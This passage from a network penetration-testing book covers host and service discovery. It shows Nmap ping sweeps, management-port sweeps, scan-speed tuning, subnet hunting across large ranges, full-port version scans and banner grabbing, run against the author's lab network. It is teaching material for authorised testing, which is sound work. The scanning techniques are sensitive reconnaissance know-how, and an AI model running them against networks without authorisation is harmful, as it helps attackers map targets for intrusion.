Primary output formats Now, if you change into the discovery/hosts directory where you told Nmap to write the pingsweep output, you should see three files: pingsweep.nmap, pingsweep.gnmap, and pingsweep.xml. Go ahead and cat out each of these three files to familiarize your- self with what they look like. The XML output file will come in handy once you begin scanning individual targets for listening ports and services. For the sake of this chap- ter, you need to pay attention to only the pingsweep.gnmap file. This is the “greppable Nmap” file format that conveniently places all the useful information on a single line so you can quickly use grep to find what you are looking for. You can grep for the string “Up” to get the IP address of all the hosts that responded to your ICMP echo discovery probe. 31 Discovering hosts with Nmap This is useful because you want to create a target list containing just the IP addresses of live targets within your scoped IP address ranges. Run the following com- mand to see output similar to what is shown in the next listing: grep "Up" pingsweep.gnmap Host: 10.0.10.1 (amplifi.lan) Status: Up Host: 10.0.10.27 (06FEC82.lan) Status: Up Host: 10.0.10.88 (VMB4000.lan) Status: Up Host: 10.0.10.90 () Status: Up Host: 10.0.10.95 () Status: Up Host: 10.0.10.125 (AFi-P-HD.lan) Status: Up Host: 10.0.10.138 (AFi-P-HD2.lan) Status: Up Host: 10.0.10.151 (rdc01.lan) Status: Up Host: 10.0.10.181 (android.lan) Status: Up Host: 10.0.10.188 (bookstack.lan) Status: Up Host: 10.0.10.200 () Status: Up Host: 10.0.10.201 () Status: Up Host: 10.0.10.202 () Status: Up Host: 10.0.10.203 () Status: Up Host: 10.0.10.204 () Status: Up Host: 10.0.10.205 () Status: Up Host: 10.0.10.206 () Status: Up Host: 10.0.10.207 () Status: Up Host: 10.0.10.220 () Status: Up Host: 10.0.10.225 (nail.lan) Status: Up Host: 10.0.10.239 (HPEE5A60.lan) Status: Up Host: 10.0.10.160 (pentestlab01.lan) Status: Up Just like in the ping example, the cut command can be used to create a targets.txt file. I prefer to place the targets.txt file in the discovery/hosts directory, but that’s just a matter of personal preference. The following command places all the IP addresses from hosts that are up in the file called targets.txt: ~$ grep "Up" pingsweep.gnmap | cut -d " " -f2 > targets.txt In some cases, you may feel that the results of your pingsweep scan do not accurately represent the number of hosts you expected to find. In many cases, this is due to sev- eral or all the hosts within your target scope refusing to send ICMP echo replies. If this is true, it’s likely because the system administrator configured them this way on pur- pose due to a false sense that doing so would make the organization more secure. In reality, this in no way prevents hosts from being discovered; it just means you have to use an alternative method. One such method is what I refer to as the remote manage- ment interface (RMI) port-detection method. Listing 2.4 Using grep to sort Nmap output for live hosts My IP address, as shown in listing 2.1 32 CHAPTER 2 Discovering network hosts 2.3.2 Using remote management interface ports The philosophy here is simple. If a host exists on the network, it exists for a purpose. This host presumably has to be remotely accessible to the IT and network administra- tion team for maintenance purposes, so some type of RMI port needs to be open on that host. The standard ports for most RMIs are commonly known, and you can use this fact to create a small port-scan list that can be used to perform host detection across a broad range. You can experiment with this as much as you want and include as many RMI ports as you like, but keep in mind that the goal is to identify hosts in a timely fashion—and scanning too many ports per IP address defeats the purpose. At some point, you might as well just perform service discovery on the entire range, which works fine but, depend- ing on the number of live hosts versus non-active IPs, could take 10 times longer than necessary. Because most clients pay by the hour, I don’t recommend doing this. I find that a simple five-port list of what I consider to be the top five RMIs can do wonders to discover tricky hosts that are configured to ignore ICMP probes. I use the following five ports:  Microsoft Remote Desktop (RDP): TCP 3389  Secure Shell (SSH): TCP 22  Secure Shell (SSH): TCP 2222  HTTP/HTTPS: TCP 80, 443 Of course, I wouldn’t be so bold as to claim that every single host on any network is going to have one of these five ports open no matter what. I will claim, however, that if you scanned these five ports on any enterprise network in the world, you’d absolutely identify lots of targets, and it wouldn’t take you long. To illustrate this concept, I’ll run a discovery scan against the same IP address range as before, but this time I’ll target the five TCP ports I listed. Feel free to do the same on your target network: ~$ nmap -Pn -n -p 22,80,443,2222,3389 -iL discovery/ranges.txt ➥ -oA discovery/hosts/rmisweep TIP This type of discovery scan is useful when your pingsweep scan returns nothing, such as if your client has configured all systems to ignore ICMP echo requests. The only reason anyone would configure a network this way is if someone once told them it would be more secure. You now know how silly that is (assuming you didn’t already). Here there are a couple of new flags that I will explain before moving on. The first one tells Nmap to skip pinging the IP address to see if it’s up before scanning for open ports. The second flag says not to waste time performing DNS name resolution, and the third new flag specifies the five TCP ports we want to scan on each IP address: -Pn: Treat all hosts as online -- skip host discovery -n/-R: Never do DNS resolution/Always resolve [default: sometimes] -p <port ranges>: Only scan specified ports 33 Discovering hosts with Nmap Before looking at the output of this scan, I hope you have noticed that it took quite a bit longer than the previous one. If not, run it again and pay attention. You can rerun Nmap commands, and they will simply overwrite the output file with the data from the most recent run. In my case, the scan took just over 28 seconds to sweep the entire /24 range, as you can see from the following small snippet. nmap scan report for 10.0.10.255 Host is up (0.000047s latency). PORT STATE SERVICE 22/tcp filtered ssh 80/tcp filtered http 443/tcp filtered https 2222/tcp filtered EtherNetIP-1 3389/tcp filtered ms-wbt-server nmap done: 256 IP addresses (256 hosts up) scanned in 28.67 seconds The scan took more than 10 times as long as the previous scan. Why do you think that is? It’s because Nmap had to check 256 IP addresses for a total of 5 TCP ports each, thereby making 1,280 individual requests. Additionally, if you were watching the out- put in real time, you may have noticed that Nmap chunks the /24 range into four groups of 64 hosts. This is the default behavior, but it can be altered if you know how. 2.3.3 Increasing Nmap scan performance I won’t profess to know why the default settings for Nmap are the way they are, but I’m sure there is a good reason. That said, Nmap is capable of moving much faster, which is often necessary when dealing with large networks and short timespans. Also, mod- ern networks have come a long way in terms of bandwidth and load capacity, which I suspect was an original factor when these low-performing default thresholds were determined by the Nmap project. With two additional flags, the exact same scan can be sped up drastically by forcing Nmap to test all 256 hosts at a time instead of in 64-host groups, as well as by setting the minimum packets-per-second rate to 1,280. To take a look for yourself, go ahead and rerun the command from section 2.3.3, but this time add --min-hostgroup 256 min-rate 1280 to the end of the command: ~$ nmap -Pn -n -p 22,80,443,3389,2222 -iL discovery/ranges.txt ➥ -oA discovery/hosts/rmisweep --min-hostgroup 256 --min-rate 1280 nmap scan report for 10.0.10.255 Host is up (0.000014s latency). PORT STATE SERVICE Listing 2.5 Trimmed output from the finished Nmap scan Listing 2.6 Using --min-hostgroup and --min-rate to speed up Nmap The scan took 28 seconds to complete. 34 CHAPTER 2 Discovering network hosts 22/tcp filtered ssh 80/tcp filtered http 443/tcp filtered https 2222/tcp filtered EtherNetIP-1 3389/tcp filtered ms-wbt-server nmap done: 256 IP addresses (256 hosts up) scanned in 2.17 seconds As you can see, that’s a significant time savings from the previous scan. I was a profes- sional pentester for over a year conducting routine engagements for mid-size compa- nies before somebody showed me that trick; I definitely wish I had known about it sooner. WARNING This technique to speed up scans isn’t magic, and it does have lim- itations on how far you can go. But I’ve used a --min-rate setting of up to 50,000 before, and despite several error messages from nmap, I was able to quickly and successfully scan 5 ports on 10,000 hosts or 50 ports on 1,000 hosts. If you adhere to that maximum threshold, you’ll likely see consistent results. You can check the results of your RMI sweep by grepping for the “open” string in the rmisweep.gnmap file like this: ~$ cat discovery/hosts/rmisweep.gnmap |grep open | cut -d " " -f2 10.0.10.1 10.0.10.27 10.0.10.95 10.0.10.125 10.0.10.138 10.0.10.160 10.0.10.200 10.0.10.201 10.0.10.202 10.0.10.203 10.0.10.204 10.0.10.205 10.0.10.206 10.0.10.207 10.0.10.225 10.0.10.239 Of course, this method doesn’t discover all the network targets; it only displays systems that have one of the five ports listening. You could certainly increase the number of hosts to discover by adding more ports, but keep in mind that there is a directly cor- related relationship between the number of additional ports you add and a noticeable increase in the amount of time it will take for your discovery scan to complete. I recom- mend using this method only when the ICMP echo discovery probe fails to return any hosts. That is a tell-tale sign that the system administrator at your target network read a book on security from the 1980s and decided to deny ICMP echo replies explicitly. This time the scan completed in two seconds. 35 Additional host-discovery methods 2.4 Additional host-discovery methods There are many other methods for identifying network hosts—too many to discuss in detail in a single chapter. Nine times out of 10, a simple ICMP echo discovery probe will do the trick. I will, however, point out a few techniques that are worth mention- ing because I’ve had to use them at one time or another during an engagement, and you might find yourself in a similar situation. The first method I want to bring up is DNS brute-forcing. 2.4.1 DNS brute-forcing Although this exercise is more common in external network penetration than internal, it still has its uses from time to time on an INPT. The concept of DNS brute-forcing is pretty simple to understand. You take a giant wordlist containing common subdomains such as vpn, mail, corp, intranet, and so on, and make automated hostname resolution requests to a target DNS server to see which names resolve to an IP address. In doing so, you might find out that mail.companydomain.local resolves to 10.0.20.221 and web01.companydomain.local resolves to 10.0.23.100. This would tell you that, at the very least, there are hosts located within the 10.0.23.0/24 and 10.0.20.0/24 ranges. There is one obvious challenge to this method: clients can name their systems whatever they want, so this technique is really only as good as the size and accuracy of your wordlist. For example, if your client has a fascination with Star Trek characters, prime numbers, and the game of chess, they likely have exotic hostnames like “spockqueen37,” which is unlikely to appear in your list of subdomains to brute-force. That said, most network administrators tend to stick with easy-to-remember host- names because it makes sense and provides for easier documentation. So, with the right wordlist, this method can be a powerful way to discover lots of hosts or IP address ranges using nothing but DNS requests. My friend and colleague Mark Baseg- gio created a powerful tool for DNS brute-forcing called aiodnsbrute, which is short for Async DNS Brute. You should check out his GitHub page, download the code, and play around with it: https://github.com/blark/aiodnsbrute. 2.4.2 Packet capture and analysis This topic is a bit out of scope for an introductory book on network pentesting, so there is no point in getting into details. I will instead simply explain the process and why you would want to use it. The process of packet capture and analysis is straightfor- ward to conceptualize. You simply open a packet-capture program such as Wireshark or tcpdump and place your network interface card into monitor mode, creating what is referred to in some circles as a packet sniffer. Your sniffer listens for any and all packets traveling throughout your local broad- cast range and displays them to you in real time. Making sense of the information in these packets requires a great deal of understanding of various network protocols, but even a novice can pick out IP addresses contained in the source and destination fields 36 CHAPTER 2 Discovering network hosts of every network packet. It’s possible to log a lengthy packet capture to a single file and then parse through the output for all unique IP addresses. The only logical reason someone would use this method would be to execute a stealth engagement such as a red team pentest where they had to remain undetected for as long as possible; even something as harmless as an ICMP sweep would be out- side the scope of the engagement because it could potentially be detected. These types of engagements are a lot of fun. But realistically, only the most mature organiza- tions that have conducted several traditional pentests and remediation cycles should consider such an exercise. 2.4.3 Hunting for subnets Often while on a black-box engagement I’ll notice that the client has IP addresses all over the place within a large /8 network such as 10.0.0.0/8. That’s over 16 million pos- sible IP addresses. Even with performance-enhancing flags, scanning that many IP addresses will be painful. Provided your engagement scope is opportunistic in nature and your focus is less on discovering every single system and more on identifying as many possible attack vectors as you can in a short time, I’ve come up with a neat trick; it’s helped me cut down the time it takes to perform discovery against large ranges more times than I can remember. This will definitely work for you, should you find yourself on a similarly scoped engagement. The trick requires that the following assumption is correct: each subnet being used contains a host on the .1 IP address. If you’re the type of person who is inclined to think in absolutes, you might decide that because this won’t be the case every single time, it might as well not ever be the case. Many people have responded this way when I try to explain this method. They say, “But what if .1 isn’t in use? Then you’ve missed an entire subnet.” To that I say, “So be it.” The point is that in my experience, 9 out of 10 usable subnets do contain a host on .1. This is because humans are predictable. Of course, there are outliers here and there, but the majority of folks behave predictably. So, I create an Nmap scan that looks as follows. ~$ sudo nmap -sn 10.0-255.0-255.1 -PE --min-hostgroup 10000 --min-rate 10000 Warning: You specified a highly aggressive --min-hostgroup. Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-05-03 10:15 CDT Nmap scan report for amplifi.lan (10.0.10.1) Host is up (0.0029s latency). MAC Address: ##:##:##:##:##:## (Unknown) Nmapnmap done: 65536 IP addresses (1 host up) scanned in 24.51 seconds This scan takes less than a minute to ping the .1 node on all 65,536 possible /24 ranges within a giant /8 range. For each IP address that I get back, I place the corre- sponding /24 range for that IP in my ranges.txt file and then perform my normal methods of discovering network hosts. It goes without saying that this method is not Listing 2.7 Nmap scan to identify potential IP address ranges Only one subnet was identified, which was expected in this case. 37 Summary complete and will miss subnets that do not contain a host on the .1 node. But I cannot tell you how many times I’ve impressed a client who has hosts all over the globe when I send an email 15 minutes after the on-site kick-off meeting, stating that I have com- pleted discovery on their /8 and have identified 6,482 hosts (an arbitrary number I just made up), which I will now begin testing for services and vulnerabilities. Summary  The information-gathering phase begins with host discovery.  ICMP is the preferred method to use when discovering network hosts.  Nmap supports multiple IP ranges and provides more useful output than ping.  When ICMP is disabled, hosts can be discovered using common RMI ports.  Nmap scan speed can be improved using --min-hostgroup and --min-rate. Exercise 2.1: Identifying your engagement targets Create a directory in your pentest VM that will serve as your engagement folder throughout this book. Place the IP address range(s) for your engagement in the dis- covery folder in a file called ranges.txt. Use nmap and the host-discovery techniques you learned in this chapter to discover all the live targets in your ranges.txt file, and place the IP addresses in a file called targets.txt. When you’re finished, you should have a directory tree that looks like this example: pentest documentation focused-penetration discovery hosts targets.txt ranges.txt services vulnerabilities privilege-escalation 38 Discovering network services In the last chapter, you learned that the information-gathering phase is broken into three separate sub-phases: A Host discovery B Service discovery C Vulnerability discovery You should be finished with the first sub-phase already. If you haven’t done host dis- covery against your target environment yet, go back and complete chapter 2 before continuing. In this chapter, you learn how to execute the second sub-phase: service This chapter covers  Understanding network services from an attacker’s perspective  Network service discovery using Nmap  Organizing and sorting Nmap scan output  Creating protocol-specific target lists for vulnerability discovery 39 Network services from an attacker’s perspective discovery. During service discovery, your goal is to identify any available network ser- vices listening on the hosts you discovered during sub-phase A that might potentially be vulnerable to an attack. It’s important to emphasize my use of the words “might potentially be vulner- able . . . .” Don’t worry just yet about determining for certain whether a service is vulnerable to attack; I’ll cover that in future chapters. Right now, you should just be worried about identifying what services are available and how to gather as much information as you can about them. In other words, if a service exists, it might potentially be vulnerable, but you shouldn’t be focused on that yet. Why would I ask you to hold off on determining whether discovered services are vulnerable to attack? Isn’t that the point of a penetration test? It is; but if you want to be successful, you need to operate like a real attacker would. 3.1 Network services from an attacker’s perspective Think about your favorite heist movie where the criminals are trying to break into a secure facility—a bank, casino, military base, it doesn’t matter (I’m picturing Ocean’s Eleven). The “bad guys” don’t just bang on the first door or window they see without constructing a detailed plan over several days or weeks that takes into consideration all the specific characteristics of their target as well as the individual strengths of the team members. The attackers typically obtain a map or schematic of the target and spend a lot of time analyzing all the different ways into the building: doors, windows, parking garages, elevator and ventilation shafts, you name it. From an attacker’s perspective, you can call these entry points or attack surfaces—and that’s exactly what network ser- vices are: entry points into the target network. These are the surfaces you will attack in an attempt to gain unauthorized entry into restricted areas of the network. If the movie criminals are good at what they do, they avoid simply walking up to the building and testing the side door to see if it’s unlocked, if for no other reason than that someone could see them, sound the proverbial alarm, and blow the whole mission. Instead, they look at all the entry points as a whole and, based on their objec- tives, their skillset, the available entry points, and how much time and resources they Warning: Be thorough! This is worth repeating: resist the urge to dive down the many rabbit holes that you’ll likely uncover during this sub-phase. Instead, simply take note of potential attack vec- tors and then move on to completing a thorough service discovery against your entire scope of targets. I understand that it can be tempting to tug at the first thread you come across. After all, your ultimate goal is to discover and exploit critical weaknesses within the target environment. I promise you’ll produce more valuable results if you opt to be thorough rather than rushing to get through this critical component of your pentest. 40 CHAPTER 3 Discovering network services have to pull off the job, make a sophisticated plan of attack that has a high probability of success. A pentester needs to do the same thing. So don’t worry about how to “get in” to your target network just yet. Service discovery focuses on identifying as many possible “doors and windows” (network services) as you can and building a map or schematic. This is merely an illustrative analogy; you don’t need to build an actual network dia- gram or schematic but rather a list of all the listening services and any information you can uncover about them. The more of them you identify, the greater the chance of finding one that is open or at least has a broken padlock when you move on to dis- covering vulnerabilities. Figure 3.1 shows a graphical depiction of the entire service discovery sub-phase bro- ken into its individual components. This sub-phase begins with the targets.txt list that was created during host discovery and ends with a detailed understanding of all the available network services, stored in separate protocol-specific lists that we’ll use in the next chapter. 3.1.1 Understanding network service communication Let’s start this sub-phase by defining exactly what I mean when I say network service. A network service can be defined as any application or software that is listening for Nmap port scans NSE script scans Configuration details Software information Parse XML output Protocol-specific target lists targets.txt Service protocol Open ports A. Use Nmap to run port scans and NSE script scans against targets.txt. B. Enumerate services listening on open ports to learn as much about them as possible. C. Use a scripted XML parser to produce output that is organized by service protocol, such as HTTP, SMB, SQL… Figure 3.1 Sub-phase B: service discovery workflow 41 Network services from an attacker’s perspective requests on a network port from 0 to 65,535. The protocol of a particular service dic- tates the proper format of a given request as well as what can be contained in the request response. Even if you haven’t given much thought to network services in the past, you inter- act with at least one of them every day: the web service. A web service operates within the constraints of the HTTP protocol. NOTE Should you find yourself having trouble sleeping at night, you can read about Hypertext Transfer Protocol (HTTP) in RFC 2616: https://www.ietf .org/rfc/rfc2616.txt. It will most certainly knock you out because it is extremely dry and deeply technical, just as a good protocol RFC ought to be. Every time you type a uniform resource locator (URL) into your web browser, you are submitting a web request—usually a GET request, to be specific—that contains all the necessary components set forth by the HTTP protocol specification. Your browser receives the web response from the web server and renders the information that you requested. Although many different network protocols exist with many different services satis- fying many different needs, they all behave similarly. If a service or server is “up,” it is considered to be sitting idly available until a client delivers a request for it to do some- thing with. Once the server receives a request, it processes the request based on the protocol specifications and then sends a response back to the client. Of course, there is a lot more going on in the background than what I’ve depicted in figure 3.2. I’ve intentionally stripped it down to the most basic components to illus- trate the concept of a client making a request to a server. Almost all forms of network attacks revolve around sending some type of carefully crafted (more often, we just say malicious) service request that takes advantage of a flaw in the service in such a way that it is forced to execute an operation that is advan- tageous to the attacker who sent the request. Most of the time, this means sending a reverse command-shell back to the attacker’s machine. Figure 3.3 is another inten- tionally oversimplified diagram illustrating the process of a malicious request result- ing in remote code execution (RCE). Standard request Standard response Client Server Backend processing Figure 3.2 Generic illustration of a typical network service request and response 42 CHAPTER 3 Discovering network services 3.1.2 Identifying listening network services So far, I have been using the analogy of a large facility and its doors, windows, and other entry points to illustrate the fact that network services are the things we try to attack in order to penetrate our target environment. In this analogy, you can either stand outside the building and look for all the entry points manually or, if you’re crafty enough, obtain the building schematics that identify where they are. During a network pentest, you won’t typically be so lucky as to obtain a compre- hensive network diagram, so you’ll have to discover which services are listening. This can be accomplished through port scanning. Using Nmap, you take each IP address that you’ve identified during host discovery, and you literally ask that IP address, “Is port 0 open? What about port 1? How about port 2?”—all the way up to 65,535. Most of the time, you won’t receive a response from the target signaling that the particular port you just scanned is closed. A response of any kind typically indicates that some sort of network service is listening on that port. 3.1.3 Network service banners It’s not enough to know that a service is running on a given port. An attacker needs to know as much about it as possible. Luckily, most services will provide a service banner when requested to do so. Think of a service banner as being like a sign outside the Malicious request Standard response Client Server Backend processing Unintended RCE Remote access Figure 3.3 Malicious network service request and response What’s the difference between a service and a port? Using a web server as an example, the service would be the particular software that’s serving up websites to client (browser) requests. For example, the Apache web server is a very popular open source web server that you will most certainly bump into during your network pentests. The port the web server is listening on can be configured to any number between 0 and 65,535. But typically, you will find web servers listening on port 80 and port 443, where 80 is used for non-encrypted traffic and 443 is used for SSL/TLS-encrypted traffic. 43 Port scanning with Nmap door of a business saying, “Here I am! I’m service XYZ, I’m running version ABC, and I’m ready to process your requests. If you want to come inside, my door is located at port #123.” Depending on the particular service configuration, the banner may reveal loads of information, some of which could be useful to you as an attacker. At a minimum, you want to know what protocol the server is running: FTP, HTTP, RDP, and so on. You also want to know the name and, if visible, the exact version of the software listening on that port. This information is critical because it allows you to search public exploit databases such as www.exploit-db.com for known attack vectors and security weak- nesses for that particular software version. Here is an example of a service banner con- tained in the headers of an HTTP request using the curl command. Run the following command, and be aware that raditz.capsulecorp.local could easily be replaced with an IP address: curl --head raditz.capsulecorp.local HTTP/1.1 403 Forbidden Content-Length: 1233 Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Fri, 10 May 2019 17:23:57 GMT Notice that the output from this command contains all three of the elements (proto- col, service name, and service version) I mentioned. The protocol is HTTP, which, of course, was already known; the software running on this web server is Microsoft IIS; and, specifically, this is version 10.0. In this case, some additional bonus information is provided. It’s clear this IIS server is configured with ASP.NET, which may mean the target is using server-side code that is talking to a backend database—something an attacker would certainly be interested in looking at. During this sub-phase, you should be focused on identifying every open port running on all of your targets and enumer- ating each of them to this level of detail so that you have an accurate picture of what is available to you and the overall attack surface of your target network. 3.2 Port scanning with Nmap Once again, Nmap is the tool of choice for discovering network services. As with the ICMP pingsweep example in chapter 2, the idea is to iterate through each IP address in your targets.txt file. Only this time, rather than check whether the host is up and replying to ICMP request messages, Nmap is going to see if the host will attempt to establish a TCP connection with your attacking machine on port 0, then on port 1, and then on port 2, all the way up to 65,535. Listing 3.1 Using curl to request an HTTP service banner This service is using the HTTP protocol. Specifically, this is a Microsoft IIS web server. Version 10.0 lets you know this is Windows 2016 or later. As a bonus, you can see it’s using ASP.NET. This means the server is likely talking to a backend database server. 44 CHAPTER 3 Discovering network services You might be wondering if Nmap needs to “speak” to each individual network pro- tocol of a given service if it finds one listening on a given port. (Bonus points to you if you were thinking that, by the way.) The answer is not necessarily. If you are only checking whether a port is open, there is no need to be able to have meaningful com- munication with the service listening on that port. Let me explain. Imagine you’re walking down the hallway of an apartment building. Some of the apartments are vacant, and some of them are occupied. Your goal during this thought experiment is to determine which apartments have tenants living in them. You begin knocking on doors one at a time. Each time a person opens the door, they attempt to start a conversation with you in their native language. You may or may not understand this language, but that’s not important because you are merely scanning the hallway to see which doors lead to occupied rooms. At each door you test, you note whether someone answered; then you rudely ignore their conversation attempt and move on to knock on the next door. This is exactly how port scanning works. Coincidently, if you were analogous to the Nmap project, you would be fluent in most human languages spoken on Earth; this is how you could ask the person who answers the door to provide additional details about what is going on in that particu- lar apartment. In a later section, you’ll get to do just that. For the time being, though, you’re only concerned with figuring out whether someone is there—if the port is “open.” If a port is “closed,” it simply will not reply to nmap’s connection attempts, just like a vacant apartment has no one to answer your knock. If a port is open, it will reply as it usually does when a client that does speak that service’s protocol attempts to initiate a connection. The fact that the service replies at all lets you know that port is open. 3.2.1 Commonly used ports There are obvious reasons why a real enterprise network cannot be used to demon- strate the proper workflow of an internal network penetration test (INPT). In case the reasons are not obvious, I will spell them out. The main issue is liability. Without hav- ing you sign a non-disclosure agreement (NDA), it would be extremely unethical, and potentially even illegal, to disclose vulnerable details about a company’s network in the pages of this book. That is why the examples are all created using the Capsulecorp Pentest network, which I built with virtual machines in my private lab environment. Although I have done everything in my power to model this network off of real enterprise configurations that I have seen countless times, there is one key difference: network size. Big enterprises usually have tens of thousands of nodes on their internal subnet. NOTE By the way, the fact that large enterprise networks are so big coinci- dently makes them easier targets for an attacker because the more systems an administrator has to secure, the higher the probability of them making an oversight and missing something important. Bigger isn’t always better. 45 Port scanning with Nmap I bring this up because it can take a very long time to conduct a thorough port scan against a large network scope. This is why I have structured this methodology the way I have. If you are working through the exercises in this book on a similarly sized lab network, you might wonder why you begin with common TCP ports and don’t start by scanning all 65k. The answer is related to time and productivity. As soon as possible, a pentester wants to get some information that they can poke around at manually while waiting for more exhaustive scans, which sometimes take all day to complete. For this reason, you should always run a quick sweep of your top 10 or 20 favorite ports to give you some initial threads to chase down while you’re waiting for the meat and potatoes of your service discovery. The purpose of this sweep is to move quickly, so it scans only a select group of ports that have a higher probability of containing services with potentially exploitable weak- nesses. Alternatively, you could use Nmap’s --top-ports flag followed by a number to scan only the top #N ports. I don’t illustrate this method here because Nmap catego- rizes a “top port” as one that is used most frequently, which doesn’t necessarily make it the most useful to a pentester. I prefer to instead think of ports that are most com- monly attacked. An example scan against the Capsulecorp Pentest network using 13 ports commonly identified in modern enterprise networks uses the following com- mand, all on one line: nmap -Pn -n -p 22,25,53,80,443,445,1433,3306,3389,5800,5900,8080,8443 ➥ -iL hosts/targets.txt -oA services/quick-sweep The following listing shows a snippet of the output. nmap scan report for 10.0.10.160 Host is up (0.00025s latency). PORT STATE SERVICE 22/tcp open ssh 25/tcp closed smtp 53/tcp closed domain 80/tcp closed http 443/tcp closed https 445/tcp closed microsoft-ds 1433/tcp closed ms-sql-s 3306/tcp closed mysql 3389/tcp closed ms-wbt-server 5800/tcp closed vnc-http 5900/tcp closed vnc 8080/tcp closed http-proxy 8443/tcp closed https-alt nmap done: 22 IP addresses (22 hosts up) scanned in 2.55 seconds Listing 3.2 Nmap scan: checking for common ports This host has only one open port: port 22. 46 CHAPTER 3 Discovering network services As you can see from the output, this command took less than three seconds to finish. Now you have a quick understanding of some of the commonly attacked services that are running within this target scope. This is the only scan that I would sort manually through the output files using grep. For larger scans with additional results, you’ll use an XML parser, which I will show you in the next section. For now, look at the three files just created in the services directory. Once again, the quick-sweep.gnmap file is handiest for seeing which ports are open from the scan that just ran. You should be familiar with this by now; use cat to display the contents of the file and grep to limit the output to lines that contain the string “open”. ~$ ls -lah services/ total 84K drwxr-xr-x 2 royce royce 4.0K May 20 14:01 . drwxr-xr-x 4 royce royce 4.0K Apr 30 10:20 .. -rw-rw-r-- 1 royce royce 9.6K May 20 14:04 quick-sweep.gnmap -rw-rw-r-- 1 royce royce 9.1K May 20 14:04 quick-sweep.nmap -rw-rw-r-- 1 royce royce 49K May 20 14:04 quick-sweep.xml ~$ cat services/quick-sweep.gnmap |grep open Host: 10.0.10.1 () Ports: 22/closed/tcp//ssh///, 25/closed/tcp//smtp///, 53/open/tcp//domain///, 80/open/tcp//http///, 443/closed/tcp//https///, 445/closed/tcp//microsoft-ds///, 1433/closed/tcp//ms-sql-s///, 3306/closed/tcp//mysql///, 3389/closed/tcp//ms-wbt-server///, 5800/closed/tcp//vnc-http///, 5900/closed/tcp//vnc///, 8080/closed/tcp//http-proxy///, 8443/closed/tcp//https-alt/// Host: 10.0.10.27 () Ports: 22/open/tcp//ssh///, 25/closed/tcp//smtp///, 53/closed/tcp//domain///, 80/closed/tcp// Of course, it’s worth noting that this output isn’t very useful if you don’t know what service is typically running on a given port. Don’t worry about memorizing all of these ports; the more time you spend doing these types of engagements, the more ports and services you will commit to your mental vault. For now, table 3.1 provides a quick ref- erence for the ports used in this command. Again, I chose these because I often encounter and attack them during engagements. You could easily specify your own list or simply use the --top-ports nmap flag as an alternative. Listing 3.3 Checking the gnmap file for open ports Table 3.1 Commonly used network ports Port Type 22 Secure Shell (SSH) 25 Simple Mail Transfer Protocol (SMTP) 53 Domain name service (DNS) 80 Unencrypted web server (HTTP) 47 Port scanning with Nmap It’s also important to point out that a port being open isn’t a guarantee that the ser- vice typically associated with that port is the one listening on your target host. For example, SSH is usually listening on port 22, but you could just as easily configure it to listen on port 23 or 89 or 13,982. The next scan will go beyond simply querying for lis- tening ports: Nmap will send network probes that attempt to fingerprint the specific service that is listening on the identified open port. DEFINITION Fingerprinting is just a fancy way of saying you’re identifying the exact software and version of a service listening on an open port. 3.2.2 Scanning all 65,536 TCP ports Now that you have some targets to go after, you’ll want to run an exhaustive scan that checks for the presence of all 65,536 network ports and performs service name and ver- sion enumeration on whatever services are identified. This command will likely take a long time on a large enterprise network, which again is the reason you first run the shorter command so you have some targets to manually poke and prod while you wait. TIP With any task that might end up taking longer than is desirable, it’s a good practice to use a tmux session. This way, you can background the pro- cess and walk away from it if you need to. As long as you don’t reboot your machine, it will run until it’s finished. This is helpful when you prefer not to have dozens of miscellaneous terminal windows open at a time. If you aren’t familiar with using tmux, there is a quick primer in appendix A. Here is the command for a full TCP port scan followed in listing 3.4 by a snippet of the output produced against my target network: nmap -Pn -n -iL hosts/targets.txt -p 0-65535 -sV -A -oA services/full-sweep ➥ --min-rate 50000 --min-hostgroup 22 443 SSL/TLS encrypted web server (HTTPS) 445 Microsoft CIFS/SMB 1433 Microsoft SQL server 3306 MySQL server 3389 Microsoft remote desktop 5800 Java VNC server 5900 VNC server 8080 Misc. web server port 8443 Misc. web server port Table 3.1 Commonly used network ports (continued) Port Type 48 CHAPTER 3 Discovering network services This scan introduces a couple of new flags, including -sV and -A, which I will explain in a moment. nmap scan report for 10.0.10.160 Host is up (0.00012s latency). Not shown: 65534 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9b:54:3e:32:3f:ba:a2:dc:cd:64:61:3b:d3:84:ed:a6 (RSA) | 256 2d:c0:2e:02:67:7b:b0:1c:55:72:df:8c:38:b4:d0:bd (ECDSA) |_ 256 10:80:0d:19:3f:ba:98:67:f0:03:40:82:43:82:bb:3c (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Post-scan script results: | clock-skew: | -1h00m48s: | 10.0.10.200 | 10.0.10.202 | 10.0.10.207 |_ 10.0.10.205 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . nmap done: 22 IP addresses (22 hosts up) scanned in 1139.86 seconds As you can see, this port scan took almost 20 minutes to complete targeting a small network with only 22 hosts. But you should also notice that a lot more information is returned. Also, this command uses two new flags: -sV: Probe open ports to determine service/version info -A: Enable OS detection, version detection, script scanning, and traceroute The first flag tells Nmap to issue service probes that attempt to fingerprint listening services and identify whatever information the service is broadcasting. Using the pro- vided output as an example, if the -sV flag had been omitted, you simply would have seen that port 22 was open and nothing more. But with the help of service probes, you now know that port 22 is open and is running OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0). This is obviously much more useful to us as attack- ers trying to learn valuable intel about our target environment. The second new flag introduced with this command is -A. This tells Nmap to run a series of additional checks that attempt to further enumerate the target’s operating system as well as enable script scanning. NSE (Nmap Scripting Engine) scripts are dis- cussed in appendix B. When the -A flag is enabled and nmap detects a service, it then initiates a series of NSE script scans associated with that particular service, to gain fur- ther information. Listing 3.4 Nmap scanning all ports with service probes and script scanning Additional service-banner information is displayed. The NSE script provides additional information about the specific SSH service. 49 Port scanning with Nmap 3.2.3 Sorting through NSE script output Take a closer look at what happens when you include the -A flag. Because Nmap iden- tified the SSH service listening on port 22, it automatically kicked off the ssh-hostkey NSE script. If you’re able to read the Lua programing language, you can see exactly what this script is doing by opening the /usr/share/local/nmap/scripts/ssh-hostkey.nse file on your Ubuntu pentest platform. However, what this script is doing should be pretty obvious from looking at the output from your nmap scan. Here it is again. 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 